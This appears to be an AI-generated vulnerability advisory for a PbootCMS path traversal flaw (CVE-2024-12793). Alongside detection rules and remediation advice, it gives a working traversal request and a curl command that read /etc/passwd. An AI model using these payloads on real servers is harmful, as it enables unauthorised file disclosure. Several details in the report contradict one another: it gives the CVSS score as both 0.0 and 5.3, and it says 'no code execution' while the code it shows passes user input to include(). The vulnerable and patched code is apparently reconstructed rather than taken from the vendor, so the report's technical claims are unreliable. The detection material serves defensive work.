CVE-2024-12793

Executive Summary

CVE-2024-12793 is a path traversal vulnerability in PbootCMS, a popular content management system. The flaw resides in the apps/home/controller/IndexController.php file, where the tag argument is not properly sanitized, allowing an attacker to traverse directories and read arbitrary files on the server. The vulnerability is classified as problematic with a CVSS score of 0.0 (likely due to incomplete scoring), but the public availability of an exploit and the lack of a patch in versions prior to 5.2.4 make it a significant risk. The attack is remotely exploitable without authentication, and the exploit has been publicly disclosed.

Supply Chain & Package Security

PbootCMS is a PHP-based CMS distributed as a standalone package. While not a package manager dependency (like NPM or PyPI), the risk is similar: users who download and deploy PbootCMS from unofficial sources may be exposed to backdoored versions. The vulnerability is in the core application code, not a third-party library, so the supply chain risk is primarily from using outdated or unverified distributions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows reading arbitrary files, which can lead to information disclosure (e.g., configuration files, source code). However, it does not allow code execution or data modification.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the IndexController.php file. The tag parameter is used to construct a file path without proper validation. An attacker can inject ../ sequences to escape the intended directory and read files outside the web root.

Root Cause: The application fails to sanitize or validate the tag input, allowing path traversal characters. The vulnerable code likely uses the tag value directly in a file inclusion or read operation.

Attack Vector: Remote, unauthenticated HTTP requests.

Impact: An attacker can read sensitive files such as:

• /etc/passwd (on Linux)
• Database configuration files (e.g., config/database.php)
• Application source code
• Log files

Vulnerable vs. Patched Code

Vulnerable Code (version < 5.2.4):

// apps/home/controller/IndexController.php
public function index() {
    $tag = $_GET['tag'];
    $file = 'templates/' . $tag . '.html';
    // No sanitization
    include($file);
}

Patched Code (version 5.2.4):

// apps/home/controller/IndexController.php
public function index() {
    $tag = $_GET['tag'];
    // Sanitize: remove path traversal sequences
    $tag = str_replace(['../', '..\\'], '', $tag);
    // Or use basename() to strip directory components
    $tag = basename($tag);
    $file = 'templates/' . $tag . '.html';
    // Additional check: ensure file exists within allowed directory
    if (strpos(realpath($file), realpath('templates/')) !== 0) {
        die('Invalid path');
    }
    include($file);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running PbootCMS version < 5.2.4
• Network access to the web server

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., index.php?tag=...).
2. Craft a payload to traverse directories:

   GET /index.php?tag=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. The server will include the file, revealing its contents.

Example using cURL:

curl "http://target.com/index.php?tag=../../../etc/passwd"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Response)

Detection:

• Monitor for requests containing ../ or ..\\ in the tag parameter.
• Look for attempts to read sensitive files (e.g., /etc/passwd, config.php).

Response:

• Immediately block the attacking IP.
• Check logs for successful exploitation (e.g., file contents in responses).
• Upgrade to version 5.2.4 or apply a WAF rule to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with tag=../../../ or similar patterns.
  • Responses containing file contents like /etc/passwd or database configs.
• File System IOCs:
  • Unexpected file reads in web server logs.
  • Presence of files outside the web root in application logs.
• Log Entries:
  • Apache/Nginx access logs showing GET /index.php?tag=../../../etc/passwd.

Detection Engineering

YARA Rule

rule CVE_2024_12793_PbootCMS_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting PbootCMS CVE-2024-12793"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12793"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $param = "tag="
    condition:
        any of ($traversal*) and $param
}

Sigma Rule

title: PbootCMS Path Traversal Attempt (CVE-2024-12793)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal patterns in the 'tag' parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - "tag=../"
            - "tag=..\\"
    condition: selection
falsepositives:
    - Legitimate use of 'tag' parameter with similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12793 PbootCMS Path Traversal Attempt"; flow:to_server; content:"tag="; content:"../"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade PbootCMS to version 5.2.4 or later.
2. Apply a WAF rule to block path traversal patterns (e.g., tag=../).
3. Restrict file permissions to prevent the web server from reading sensitive files.

Long-term Measures:

• Implement input validation for all user-supplied parameters.
• Use basename() or realpath() to sanitize file paths.
• Conduct regular security audits and penetration testing.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.